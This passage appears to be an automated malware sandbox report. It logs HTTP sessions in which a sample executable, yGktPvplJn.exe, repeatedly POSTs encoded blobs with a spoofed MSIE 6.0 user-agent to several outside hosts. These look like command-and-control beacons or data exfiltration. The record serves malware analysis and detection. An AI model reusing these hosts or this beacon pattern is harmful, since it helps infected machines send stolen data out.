Oct 25, 2024 11:18:06.955326080 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 [TRUNCATED] Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Oct 25, 2024 11:18:07.196921110 CEST	946	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=diztDcay7cIeuhDm4v%2BRkbEDof89Ss0qAoEvIBSNIzOCsMyHayjrcMhA15i1jPhXxPoncX7rJT7XK5WPkb%2FvlJYDIRiUTaloaT3WUwGL29ykWMt5Cm4LRabo3hXKwqmU%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e0deb75e5b9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1175&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2819&recv_bytes=3092&delivery_rate=1240788&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:18:07.200297117 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 [TRUNCATED] Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Oct 25, 2024 11:18:07.442014933 CEST	953	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ypX5hAk4GrfOHVK2Io87e5wRXq%2Fp1DiQTnwJFcikRNtC2FeSu2gLzW%2BX9%2B0nS8NrSOFxMPCA5sl1nMWSCK8kJOP%2FArV7gay3zdp5qVMBrfaROdz%2BR%2BAZrNV4lkF5t2y1rg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e0f6c47e5b9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1177&sent=9&recv=11&lost=0&retrans=0&sent_bytes=3765&recv_bytes=3865&delivery_rate=1240788&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	52783	59.106.19.204	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.778983116 CEST	838	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 604 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.baijaku.com Cache-Control: no-cache Data Raw: 79 65 31 35 78 35 6a 59 30 46 53 59 73 58 78 61 6d 34 4d 75 36 49 76 48 52 56 78 67 6e 79 67 44 54 49 32 4e 34 49 4a 39 6a 6d 66 2f 51 31 63 43 56 74 50 6d 7a 54 33 32 6b 44 56 31 42 6e 70 34 31 68 76 52 69 4c 51 4e 4c 62 6f 55 4b 6d 4f 51 67 44 6f 58 73 58 38 77 46 6d 64 36 51 44 6c 54 30 4c 70 53 4c 2f 56 69 32 35 4c 2f 54 61 42 57 2b 52 6b 70 32 53 62 78 6b 71 41 54 5a 72 4e 73 73 7a 75 46 6c 50 36 41 36 55 61 43 35 59 59 74 37 63 38 6e 70 34 55 74 6f 59 43 6c 66 7a 47 64 64 65 4d 76 4a 47 55 54 38 68 34 67 44 36 36 4b 44 35 6b 68 55 5a 36 4a 67 6c 4a 47 50 6a 4a 4e 41 78 4a 6a 38 33 37 77 65 65 53 37 62 55 77 4b 30 4b 44 48 32 67 4d 50 79 52 32 61 2b 73 35 55 38 4a 33 6e 36 78 6a 71 65 73 77 4c 76 5a 4a 62 61 77 34 2b 4e 74 4a 48 47 69 49 4e 72 6b 71 32 50 35 4d 4e 6d 31 4a 6e 4e 52 79 77 55 39 2f 54 2f 44 36 6f 4e 33 48 78 37 46 54 6a 4a 51 74 33 52 43 69 65 41 4e 6a 78 66 44 30 57 30 76 63 49 37 48 58 6b 6b 55 4f 49 77 57 34 41 4a 69 53 63 73 4b 76 4a 6d 50 58 50 56 37 56 76 48 44 64 6f 31 5a [TRUNCATED] Data Ascii: ye15x5jY0FSYsXxam4Mu6IvHRVxgnygDTI2N4IJ9jmf/Q1cCVtPmzT32kDV1Bnp41hvRiLQNLboUKmOQgDoXsX8wFmd6QDlT0LpSL/Vi25L/TaBW+Rkp2SbxkqATZrNsszuFlP6A6UaC5YYt7c8np4UtoYClfzGddeMvJGUT8h4gD66KD5khUZ6JglJGPjJNAxJj837weeS7bUwK0KDH2gMPyR2a+s5U8J3n6xjqeswLvZJbaw4+NtJHGiINrkq2P5MNm1JnNRywU9/T/D6oN3Hx7FTjJQt3RCieANjxfD0W0vcI7HXkkUOIwW4AJiScsKvJmPXPV7VvHDdo1ZwSI2U4s1OqhyWMnDniSNlOgXxtPIH96gcgra7nVoeY+wxCzawBdk+yq+dfwrD3u6ms3W8Q2YdlYTTq7+WzL1O29Uxk9lqrakVM6u+prFmfxhHEIIYleAVCXtRvnOlDvko//5jq/WRm5Br6O+igDSTBtEXa9oV+WGb8LQV29SUbvXLXq/VKi9V5l18Tyk+ggBXsIi61LJrOYd+VzKJ3qT24sFgQ3tHf5zhPap5Oo6zqNzjjLYIy+MUnr3Fwu7NGiLaDLihN2fg=
Oct 25, 2024 11:18:06.663233995 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 36205 Connection: keep-alive Last-Modified: Sat, 05 Oct 2024 08:20:39 GMT ETag: "8d6d-623b6767a23c0" Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 52 65 71 75 69 72 65 64 20 6d 65 74 61 20 74 61 67 73 e5 bf 85 e9 a0 88 e3 83 a1 e3 82 bf e3 82 bf e3 82 b0 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e4 b8 ad e6 9d 91 e6 a2 85 e9 9b 80 20 6f 66 66 69 63 69 61 6c 20 77 65 62 20 73 69 74 65 3c 2f 74 [TRUNCATED] Data Ascii: <!doctype html><html lang="ja"> <head> ... Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" href="img/favicon.png" type="image/png"> <title> official web site</title> ... Bootstrap CSS --> <link rel="stylesheet" href="css/bootstrap.css"> <link rel="stylesheet" href="vendors/linericon/style.css"> <link rel="stylesheet" href="css/font-awesome.min.css"><link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.15.4/css/all.css"> <link rel="stylesheet" href="vendors/owl-carousel/owl.carousel.min.css"> <link rel="stylesheet" href="vendors/lightbox/simpleLightbox.css"> <link rel="stylesheet" href="vendors/nice-select/css/nice-select.css"> <link rel="stylesheet" href="vendors/animate-css/animate.css"> <link rel="stylesheet" href="v
Oct 25, 2024 11:18:06.663286924 CEST	212	IN	Data Raw: 65 6e 64 6f 72 73 2f 66 6c 61 74 69 63 6f 6e 2f 66 6c 61 74 69 63 6f 6e 2e 63 73 73 22 3e 0a 09 09 3c 21 2d 2d 20 73 6c 69 63 6b 20 2d 2d 3e 0a 3c 21 2d 2d 20 63 73 73 20 2d 2d 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 73 6c 69 63 6b 2f 73 6c 69 Data Ascii: endors/flaticon/flaticon.css">... slick -->... css --><link href="slick/slick.less" rel="stylesheet" type="text/css"><link href="slick/slick-theme.css" rel="stylesheet" type="text/css"><link href="css/st
Oct 25, 2024 11:18:06.663336992 CEST	1236	IN	Data Raw: 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 3c 21 2d 2d 20 6c 69 67 68 74 62 6f 78 20 63 73 73 20 2d 2d 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 Data Ascii: yle.css" rel="stylesheet" type="text/css">... lightbox css --><link rel="stylesheet" href="css/lightbox.min.css"> ... main css --> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="css/re
Oct 25, 2024 11:18:06.663522005 CEST	1236	IN	Data Raw: 72 53 75 70 70 6f 72 74 65 64 43 6f 6e 74 65 6e 74 22 20 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 3d 22 6e 61 76 62 61 72 53 75 70 70 6f 72 74 65 64 43 6f 6e 74 65 6e 74 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 20 61 72 Data Ascii: rSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span></button> ... Collect the nav
Oct 25, 2024 11:18:06.663557053 CEST	1236	IN	Data Raw: 48 6f 6d 65 20 42 61 6e 6e 65 72 20 41 72 65 61 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2d 2d 3e 0a 20 20 20 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 68 6f 6d 65 5f 62 61 6e 6e 65 72 5f 61 72 65 61 22 3e 0a 20 20 Data Ascii: Home Banner Area =================--> <section class="home_banner_area"> <div class="banner_inner"><div class="container"><div class="row"><div class="col-lg-6"><div class="home_left_img"><
Oct 25, 2024 11:18:06.663606882 CEST	636	IN	Data Raw: 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 67 2f 69 6e 73 74 61 67 72 61 6d 2e 6a 70 67 22 20 77 69 64 74 68 3d 22 35 33 22 20 68 65 69 67 68 74 3d 22 35 33 22 20 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 70 3e 09 09 20 0a 09 09 09 09 09 09 09 09 09 Data Ascii: ><img src="img/instagram.jpg" width="53" height="53" alt=""/></a></p> </div>...end news--></div></div></div> </div> </div></div> </section> ...================End Hom
Oct 25, 2024 11:18:06.663676977 CEST	1236	IN	Data Raw: 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 72 69 67 68 74 22 3e e4 bb 8a e6 9c 88 e3 81 af e5 85 88 e3 81 9a 3c 62 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <p class="text-right"><br> <strong>4<br><br>bb</strong><br>18:00open 19:00start<br>22:00close<b
Oct 25, 2024 11:18:06.663712025 CEST	1236	IN	Data Raw: 3e 0a e3 81 9f e3 81 8f e3 81 95 e3 82 93 e6 ad a9 e3 81 8f 3c 62 72 3e 0a e3 81 95 e3 81 82 26 6e 62 73 70 3b 3c 69 6d 67 20 73 72 63 3d 22 69 6d 67 2f 6d 65 73 73 61 67 65 2d 69 6d 67 2f 65 78 63 6c 61 6d 61 74 69 6f 6e 2e 67 69 66 22 20 77 69 Data Ascii: ><br> <img src="img/message-img/exclamation.gif" width="20" height="20" alt=""/>  <img src="img/message-img/exclamation.gif" width="20" height="20" alt=""/><br></p><p>&nbsp
Oct 25, 2024 11:18:06.663744926 CEST	1236	IN	Data Raw: 73 73 3d 22 69 74 65 6d 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 73 74 69 5f 69 74 65 6d 22 3e 0a 09 09 09 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 69 6d 67 2f 67 61 6c 6c 65 72 79 2f 70 68 6f 74 6f 30 39 2e 6a Data Ascii: ss="item"><div class="testi_item"><img src="img/gallery/photo09.jpg" alt=""/></div></div><div class="item"><div class="testi_item"><img src="img/gallery/home006.jpg" alt=""/>
Oct 25, 2024 11:18:06.663779974 CEST	1236	IN	Data Raw: 20 76 69 64 65 6f 20 70 6c 61 79 65 72 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 6c 6f 77 3d 22 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3b 20 61 75 74 6f 70 6c 61 79 3b 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 74 65 3b 20 65 6e Data Ascii: video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div></section>
Oct 25, 2024 11:18:06.668987036 CEST	1236	IN	Data Raw: 8d 81 e4 ba 8c e5 b9 b4 e3 81 ae e3 82 b7 e3 82 a7 e3 82 a4 e3 82 af e3 82 b9 e3 83 94 e3 82 a2 e3 80 8d 3c 2f 68 34 3e 0a 20 20 20 20 20 20 20 20 09 09 09 09 09 3c 70 3e 32 30 32 34 e5 b9 b4 31 32 e6 9c 88 39 e6 97 a5 28 e6 9c 88 29 ef bd 9e 32 Data Ascii: </h4> <p>2024129()29()<br> </p> <p><a href="news.html#tenpo12"></a></p> </div></div>...end news 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	52784	104.21.23.9	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.795078039 CEST	782	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 548 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jenco.co.uk Cache-Control: no-cache Data Raw: 31 2b 78 5a 4b 51 43 32 79 31 54 71 4a 55 33 47 30 7a 46 4c 65 7a 4e 4e 4d 30 66 6f 6a 48 6b 48 4e 4d 32 56 69 61 5a 50 4a 34 45 63 44 69 57 50 77 45 58 51 54 54 35 37 57 37 41 63 51 45 67 64 5a 68 66 4f 56 41 46 6a 31 58 48 4c 7a 74 38 63 31 47 61 31 75 38 42 69 4f 6b 51 49 65 33 6f 50 64 4f 46 31 6b 68 73 35 44 31 63 6b 48 5a 33 57 41 35 34 6c 34 71 75 47 42 32 6e 52 46 66 44 65 50 35 39 50 64 5a 71 66 64 33 42 37 37 6c 38 39 6b 34 4a 38 49 41 7a 65 34 75 56 50 4d 43 38 53 70 6f 58 76 79 30 48 73 31 78 55 4f 54 35 30 63 69 64 61 53 63 31 77 79 41 58 39 52 70 68 73 47 4c 4b 34 6d 71 74 55 79 6a 50 39 68 39 6a 52 33 6b 67 47 6b 37 2f 61 38 38 61 52 33 44 63 7a 33 42 76 46 72 30 7a 77 66 71 6d 55 7a 6e 72 64 4d 43 7a 74 35 45 4f 47 79 56 4b 34 2b 72 6b 4f 62 79 55 38 65 69 39 30 34 41 6d 75 52 47 7a 4d 4b 4e 55 47 46 69 42 53 69 67 42 51 30 55 32 4e 52 69 54 64 4d 75 45 66 74 78 59 69 62 32 79 57 75 44 67 53 47 38 7a 67 73 71 6b 68 61 49 57 4b 47 4e 32 2f 4b 75 72 32 72 7a 4b 56 69 4b 36 68 35 56 38 [TRUNCATED] Data Ascii: 1+xZKQC2y1TqJU3G0zFLezNNM0fojHkHNM2ViaZPJ4EcDiWPwEXQTT57W7AcQEgdZhfOVAFj1XHLzt8c1Ga1u8BiOkQIe3oPdOF1khs5D1ckHZ3WA54l4quGB2nRFfDeP59PdZqfd3B77l89k4J8IAze4uVPMC8SpoXvy0Hs1xUOT50cidaSc1wyAX9RphsGLK4mqtUyjP9h9jR3kgGk7/a88aR3Dcz3BvFr0zwfqmUznrdMCzt5EOGyVK4+rkObyU8ei904AmuRGzMKNUGFiBSigBQ0U2NRiTdMuEftxYib2yWuDgSG8zgsqkhaIWKGN2/Kur2rzKViK6h5V8NUJPf8/B3VVIUL3yo0KetCvmhAG5HvKzw1GLO8sGM4xOg2psti33TfxJdaanklorbaXLraVIdMkGdvvo2l23OQB58htWE332//C8J6RNPvv7ZsoFl8jryf4B3mUsjDow4p+wzaVNdZBW6DPA8HKbHyTNvnuxB7s1s/y0Pw4C1YWHJvMmQnWrzTqppLWPOVoi1OnsxD/jNSvB0WBR0=
Oct 25, 2024 11:18:06.402715921 CEST	997	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:06 GMT Location: https://www.jenco.co.uk/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pH2myI%2BlV1AECamG1XfXGfcHzFqcJ%2BKaHkhmL7oAUozqfWDKqiH23TXaAoXkA6%2Fhnfj6CwdAnjPmuDyL04EHBzrO4YhG2dwsezkyQgNq1XMI7khX5jYRVn5aDFAK8xTJ%2Fvw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e099a2de732-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1503&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=782&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:18:06.441210032 CEST	782	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 548 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jenco.co.uk Cache-Control: no-cache Data Raw: 31 2b 78 5a 4b 51 43 32 79 31 54 71 4a 55 33 47 30 7a 46 4c 65 7a 4e 4e 4d 30 66 6f 6a 48 6b 48 4e 4d 32 56 69 61 5a 50 4a 34 45 63 44 69 57 50 77 45 58 51 54 54 35 37 57 37 41 63 51 45 67 64 5a 68 66 4f 56 41 46 6a 31 58 48 4c 7a 74 38 63 31 47 61 31 75 38 42 69 4f 6b 51 49 65 33 6f 50 64 4f 46 31 6b 68 73 35 44 31 63 6b 48 5a 33 57 41 35 34 6c 34 71 75 47 42 32 6e 52 46 66 44 65 50 35 39 50 64 5a 71 66 64 33 42 37 37 6c 38 39 6b 34 4a 38 49 41 7a 65 34 75 56 50 4d 43 38 53 70 6f 58 76 79 30 48 73 31 78 55 4f 54 35 30 63 69 64 61 53 63 31 77 79 41 58 39 52 70 68 73 47 4c 4b 34 6d 71 74 55 79 6a 50 39 68 39 6a 52 33 6b 67 47 6b 37 2f 61 38 38 61 52 33 44 63 7a 33 42 76 46 72 30 7a 77 66 71 6d 55 7a 6e 72 64 4d 43 7a 74 35 45 4f 47 79 56 4b 34 2b 72 6b 4f 62 79 55 38 65 69 39 30 34 41 6d 75 52 47 7a 4d 4b 4e 55 47 46 69 42 53 69 67 42 51 30 55 32 4e 52 69 54 64 4d 75 45 66 74 78 59 69 62 32 79 57 75 44 67 53 47 38 7a 67 73 71 6b 68 61 49 57 4b 47 4e 32 2f 4b 75 72 32 72 7a 4b 56 69 4b 36 68 35 56 38 [TRUNCATED] Data Ascii: 1+xZKQC2y1TqJU3G0zFLezNNM0fojHkHNM2ViaZPJ4EcDiWPwEXQTT57W7AcQEgdZhfOVAFj1XHLzt8c1Ga1u8BiOkQIe3oPdOF1khs5D1ckHZ3WA54l4quGB2nRFfDeP59PdZqfd3B77l89k4J8IAze4uVPMC8SpoXvy0Hs1xUOT50cidaSc1wyAX9RphsGLK4mqtUyjP9h9jR3kgGk7/a88aR3Dcz3BvFr0zwfqmUznrdMCzt5EOGyVK4+rkObyU8ei904AmuRGzMKNUGFiBSigBQ0U2NRiTdMuEftxYib2yWuDgSG8zgsqkhaIWKGN2/Kur2rzKViK6h5V8NUJPf8/B3VVIUL3yo0KetCvmhAG5HvKzw1GLO8sGM4xOg2psti33TfxJdaanklorbaXLraVIdMkGdvvo2l23OQB58htWE332//C8J6RNPvv7ZsoFl8jryf4B3mUsjDow4p+wzaVNdZBW6DPA8HKbHyTNvnuxB7s1s/y0Pw4C1YWHJvMmQnWrzTqppLWPOVoi1OnsxD/jNSvB0WBR0=
Oct 25, 2024 11:18:06.572463036 CEST	1005	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:06 GMT Location: https://www.jenco.co.uk/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L7W1LjOKTzkWcJi%2FDUUahIX0vQxTdJ3eSIsybHLx48jVatnV9vTWJ5NN2GjCo2fisBPXfTchlTNTRqDDnNiUO9Mg%2FIz6b42HDd6l3NoqIiNo83K3fbZJk%2Bznu9zikxTW%2Bms%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e0aaab0e732-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1505&sent=2&recv=5&lost=0&retrans=0&sent_bytes=997&recv_bytes=1564&delivery_rate=949508&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 